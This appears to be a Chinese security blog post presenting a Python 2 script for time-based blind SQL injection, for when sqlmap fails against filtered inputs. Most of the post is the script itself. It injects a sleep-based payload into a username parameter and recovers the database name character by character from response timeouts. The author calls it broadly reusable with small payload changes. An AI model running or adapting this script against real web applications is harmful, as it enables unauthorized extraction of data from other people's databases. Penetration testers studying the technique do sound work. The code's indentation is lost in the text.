- A+
很多白帽们应该都会有一个体会,在sqlmap神器中跑延时注入时会跑不出数据,原因是因为它可能过滤了一部份的sql语句,这时就需要我们进行构造语句来进行注入,构造完成之后还需要一个好的脚本进行自动让它跑一遍,在这里分析一个脚本给大家,延时注入用它基本是通用的。(只需要改动一下相关的payload)
#encoding=gbk
import httplib
import time
import string
import sys
import random
import urllib
headers = {
'User-Agent': 'Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
'Cookie':''
}
payloads = list(string.ascii_lowercase)
for i in range(0,10):
payloads.append(str(i))
payloads += ['@','_', '.', '-', '\\', ' ','~']
print 'Try to retrive database:'
database = ''
for i in range(1,11):
for payload in payloads:
try:
conn = httplib.HTTPConnection('127.0.0.1', timeout=5) #目标地址
s = " AND (SELECT * FROM (SELECT(if(ascii(substr(database(),%s,1))=%s,sleep(5),0)))oWxq) AND 'ABC'='ABC" % (i, ord(payload)) #写入构造好的payload
params = "username=xxx'" + urllib.quote(s) #注入的参数
conn.request(method='GET', url= '/test.php?' + params, #对应的文件
headers = headers)
html_doc = conn.getresponse().read()
conn.close()
print '+',
except Exception, e:
print e
database += payload
print '\n[*]', database
break
print '\n[Done] datase is:', database
- 我的微信
- 这是我的微信扫一扫
- 我的微信公众号
- 我的微信公众号扫一扫